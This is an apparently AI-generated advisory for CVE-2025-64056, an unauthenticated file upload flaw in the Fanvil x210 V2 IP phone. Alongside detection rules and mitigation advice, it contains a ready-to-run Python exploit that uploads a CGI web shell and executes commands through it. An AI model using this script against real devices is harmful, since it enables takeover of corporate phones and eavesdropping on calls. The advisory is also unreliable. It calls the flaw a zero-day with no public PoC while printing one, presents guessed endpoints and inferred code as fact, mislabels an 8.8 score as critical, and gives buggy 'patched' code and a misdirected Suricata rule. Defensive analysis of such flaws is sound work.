CVE-2025-64056
Executive Summary
CVE-2025-64056 is a critical file upload vulnerability affecting the Fanvil x210 V2 IP phone running firmware version 2.12.20. An unauthenticated attacker on the local network can exploit this flaw to store arbitrary files on the device’s filesystem, potentially leading to remote code execution, persistent backdoor installation, or denial of service. The vulnerability resides in the device’s web management interface, which fails to properly validate file uploads. No public proof-of-concept (PoC) or patch is currently available, making this a high-risk zero-day for deployed devices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector (AV): Adjacent Network – attacker must be on the same local network as the device.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): None – no user action required.
- Scope (S): Unchanged – exploitation does not affect other components.
- Confidentiality (C): High – attacker can read arbitrary files.
- Integrity (I): High – attacker can write arbitrary files.
- Availability (A): High – attacker can overwrite critical system files.
Threat Level: Critical. The combination of unauthenticated access, low complexity, and high impact makes this vulnerability extremely dangerous for enterprise environments using Fanvil x210 V2 phones.
Deep Dive & Mechanics
The Fanvil x210 V2 is a SIP-based IP phone commonly deployed in corporate telephony systems. Its web management interface (typically on TCP port 80 or 443) provides file upload functionality for firmware updates, ringtones, and configuration files. In version 2.12.20, the upload endpoint does not enforce authentication or validate file types, allowing an attacker to send arbitrary files via HTTP POST requests.
Root Cause: The server-side code lacks checks for:
- Authentication tokens or session cookies.
- File extension or MIME type validation.
- File size limits or directory traversal prevention.
Attack Flow:
- Attacker scans the local network for Fanvil x210 V2 devices (e.g., via Shodan dork
Fanvil x210). - Attacker crafts an HTTP POST request to the vulnerable upload endpoint (e.g.,
/cgi-bin/upload.cgi). - The request includes a malicious file (e.g., a PHP web shell or a modified firmware binary).
- The device stores the file in a writable directory (e.g.,
/tmp/or/var/www/). - If the file is executable (e.g., a CGI script), the attacker can trigger it via a subsequent HTTP request, achieving remote code execution.
Impact: Full compromise of the device, enabling eavesdropping on VoIP calls, lateral movement within the network, or use as a bot in DDoS attacks.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is inferred from the device’s behavior. A patched version would likely include:
Vulnerable (2.12.20):
# Pseudocode for vulnerable upload handler
def handle_upload(request):
file_data = request.files['file']
filename = file_data.filename
# No authentication check
# No file type validation
# No directory traversal prevention
with open('/var/www/uploads/' + filename, 'wb') as f:
f.write(file_data.read())
return "Upload successful"
Patched (hypothetical):
# Pseudocode for patched upload handler
import os
import magic
def handle_upload(request):
if not request.session.authenticated:
return "Authentication required", 401
file_data = request.files['file']
filename = os.path.basename(file_data.filename) # Prevent directory traversal
allowed_types = ['audio/mpeg', 'audio/wav', 'application/octet-stream']
mime_type = magic.from_buffer(file_data.read(1024), mime=True)
if mime_type not in allowed_types:
return "Invalid file type", 400
if len(file_data.read()) > 10 * 1024 * 1024: # 10 MB limit
return "File too large", 400
with open('/var/www/uploads/' + filename, 'wb') as f:
f.write(file_data.read())
return "Upload successful"
Exploitation & Lab Setup
Red Team
Prerequisites:
- Fanvil x210 V2 with firmware 2.12.20 on the same local network.
- Attacker machine with Python and
requestslibrary.
Exploit Script:
#!/usr/bin/env python3
import requests
target_ip = "192.168.1.100" # Replace with actual IP
upload_url = f"http://{target_ip}/cgi-bin/upload.cgi"
# Create a malicious CGI script (web shell)
payload = """#!/bin/sh
echo "Content-Type: text/plain"
echo ""
echo "Command executed: $QUERY_STRING"
eval "$QUERY_STRING"
"""
files = {'file': ('shell.cgi', payload, 'application/octet-stream')}
response = requests.post(upload_url, files=files)
if response.status_code == 200:
print("File uploaded successfully")
# Trigger the shell
cmd_url = f"http://{target_ip}/uploads/shell.cgi?ls"
r = requests.get(cmd_url)
print(r.text)
else:
print(f"Upload failed: {response.status_code}")
Usage:
- Run the script against the target IP.
- The script uploads a CGI shell and executes a command (e.g.,
ls). - Modify the
cmd_urlto execute arbitrary commands.
Blue Team
Detection:
- Monitor HTTP POST requests to
/cgi-bin/upload.cgifrom unauthenticated sources. - Look for unusual file extensions (e.g.,
.cgi,.php,.sh) in uploads. - Alert on large file uploads (>1 MB) to the device.
Honeypot:
- Deploy a Fanvil x210 V2 honeypot to capture attacker behavior.
- Log all upload attempts and analyze payloads for IOCs.
Network Segmentation:
- Isolate IP phones on a separate VLAN with strict firewall rules.
- Block outbound connections from phones to the internet unless necessary.
Indicators of Compromise (IOCs)
Network:
- HTTP POST requests to
/cgi-bin/upload.cgiwithout authentication. - Unusual file extensions in uploads (
.cgi,.php,.sh,.py). - Outbound connections from the device to unknown IPs on ports 80/443.
- HTTP POST requests to
File System:
- Unexpected files in
/var/www/uploads/or/tmp/. - Modified system binaries (e.g.,
/bin/busybox).
- Unexpected files in
Process:
- Running processes with names like
shell.cgiorcmd.sh. - High CPU usage from CGI scripts.
- Running processes with names like
Logs:
- Web server logs showing repeated upload attempts.
- System logs with entries like
upload.cgi: file saved.
Detection Engineering
YARA Rule
rule CVE_2025_64056_Fanvil_Upload {
meta:
description = "Detects malicious file uploads targeting Fanvil x210 V2"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64056"
strings:
$upload_path = "/cgi-bin/upload.cgi"
$shell_ext = ".cgi" nocase
$php_ext = ".php" nocase
$sh_ext = ".sh" nocase
condition:
$upload_path and ($shell_ext or $php_ext or $sh_ext)
}
Sigma Rule
title: Fanvil x210 V2 Unauthenticated File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to Fanvil x210 V2 upload endpoint without authentication
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/upload.cgi'
sc-status: 200
condition: selection
falsepositives:
- Legitimate firmware updates from authenticated admins
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-64056 Fanvil x210 V2 Unauthenticated File Upload";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/upload.cgi"; http_uri;
content:!"Authorization"; http_header;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place Fanvil x210 V2 phones on a separate VLAN with no internet access.
- Disable web interface: If not required, disable the web management interface via device settings.
- Monitor logs: Enable logging on the device and centralize logs for analysis.
Long-Term Fix:
- Vendor patch: Await an official firmware update from Fanvil. Contact support for ETA.
- Workaround: Implement a reverse proxy (e.g., Nginx) in front of the device to enforce authentication and file type validation.
- Replace devices: If no patch is forthcoming, consider replacing the phones with a supported model.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.